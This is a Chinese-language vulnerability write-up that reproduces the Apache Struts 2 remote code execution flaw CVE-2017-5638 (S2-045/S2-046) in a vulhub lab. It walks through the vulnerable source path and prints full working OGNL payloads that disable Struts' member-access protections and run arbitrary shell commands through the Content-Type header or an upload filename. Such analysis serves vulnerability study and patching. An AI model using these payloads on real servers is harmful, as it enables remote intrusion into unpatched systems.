您的位置:首页 > 运维架构 > Apache

[CVE-2017-5638] Apache Struts 2远程代码执行漏洞复现(第三弹)

2021-08-16 16:50 781 查看

0x00 漏洞概述

编号为CVE-2017-5638

官方描述是:

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

在请求头的Content-Type处注入OGNL表达式,会被Struts 2报错执行。远程攻击者可借助带有

#cmd=[字符串]
的特制Content-Type HTTP头利用该漏洞执行任意命令。

影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10

0x01 漏洞源码

基于源码版本Struts 2.3.20

git clone https://github.com/apache/Struts.git
cd Struts
git checkout STRUTS_2_3_20

部分网传为Jakarta plugin插件导致的问题,其实不然(Struts 2确实有插件导致的漏洞)。Struts 2默认使用

org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
类对上传数据进行解析,并非插件。仅有最后一步完成上传操作(common upload)是调用了第三方组件。

入口过滤器

首先进入

StrutsPrepareAndExecuteFilter
类(Struts 2默认配置的入口过滤器)。在这里对输入对象
request
进行封装:

request = prepare.wrapRequest(request);

跟进这条语句,PrepareOperations.java中可见:

request = dispatcher.wrapRequest(request);

再次跟进,在Dispatcher.java中得到封装为

StrutsRequestWrapper
的过程:

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
// don't wrap more than once
if (request instanceof StrutsRequestWrapper) {
return request;
}

String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}

return request;
}

在这里有两个地方值得关注。

  • 第835行,需要使

    content_type.contains("multipart/form-data")
    判断为true。网传PoC中就有这么一部分:

    #nike='multipart/form-data'

    这实际就是把关键字符串挪给了别的键,给Content-Type腾出位置。用

    nike
    是因为发现者为安恒信息研究员Nike.Zheng

  • 第836行,

    getMultiPartRequest()
    方法,这个方法可以继续追踪下去。通过配置
    struts.multipart.parser
    可以指定不同的解析类,默认则是使用上面提到的
    org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest

struts.multipart.parser:该属性指定处理multipart/form-data的MIME类型(文件上传)请求的框架,该属性支持cos、pell和jakarta等属性值,即分别对应使用cos的文件上传框架、pell上传及common-fileupload文件上传框架。该属性的默认值为jakarta。

补丁对比

根据官方给出的影响版本范围,查看修复补丁——Struts 2.3.32版本和Struts 2.5.10.1版本。

Struts 2.3.32版本修改了:

Struts 2.5.10.1版本修改了:

都是针对

LocalizedTextUtil.findText()
方法的。

LocalizedTextUtil.findText方法

跟进这个

findText()
方法,可以看到使用了熟悉的参数
valueStack
。ValueStack.java中定义了这个参数类型。

即通过键值关系从

ActionContext
中返回OGNL的堆栈结构。所以这个
valueStack
与OGNL的最终被执行有关。

接下来跟进

findText()
中与
valueStack
相关的语句,可以发现对
valueStack
的操作有:

  • findMessage()
  • getMessage()
  • getDefaultMessage()
  • ReflectionProviderFactory.getInstance().getRealTarget()

findMessage()
执行中都会调用到
getMessage()
,而
getMessage()
getDefaultMessage()
中都存在
buildMessageFormat()
用于信息格式化。格式化的消息由
TextParseUtil.translateVariables()
生成。

getMessage()
方法有个参数
bundleName
,由
aClass
赋值,而
aClass
是整个触发流程中的一个
File
异常类,并不在Collections.java中。执行过程中,
getMessage()
findMessage()
都只能返回
null
,所以会被触发的只有
getDefaultMessage()

TextParseUtil.translateVariables方法

跟进一下

TextParseUtil.translateVariables()
的实现。

即先对

defaultMessage
进行OGNL表达式的提取,然后执行。漏洞触发的关键就是构造含有恶意OGNL表达式的
defaultMessage

0x02 利用流程

s2-045

先行测试

随便传个文件后抓包改包。

使用的PoC为(必须含有

multipart/form-data
):

Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

运算被执行!

传马

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

s2-046

与s2-045类似,但注入位置是上传文件的

filename

先行测试

PoC:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b

在最后的b对应字节前,使用00截断:

传马

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

再次使用00截断即可。

0x03 补充

所使用的vulhub镜像把s2-045去掉了,只能自行找war包搭建,不过说不定其它版本的vulhub还保留着。

s2-046的方法更为暴力,也更容易被WAF过滤。基本上有s2-045则必有s2-046

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: